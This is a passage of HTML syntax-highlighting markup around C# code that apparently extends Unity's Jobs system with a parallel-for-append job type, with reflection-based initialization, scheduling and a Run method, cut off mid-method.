class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEarlyJobInit\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eforeach\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eGetInterfaces\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eIsGenericType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetGenericTypeDefinition\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eiType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetGenericArguments\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eArray\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCopy\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egenericArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproducerType\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003etypeof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eMakeGenericType\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etypeArgs\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eproducerType\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetMethod\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Initialize\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eInvoke\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eInitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereflectionData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// JobValidationInternal.CheckReflectionDataCorrect\u0026lt;T\u0026gt;(reflectionData);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSchedule\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eParallel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRun\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e 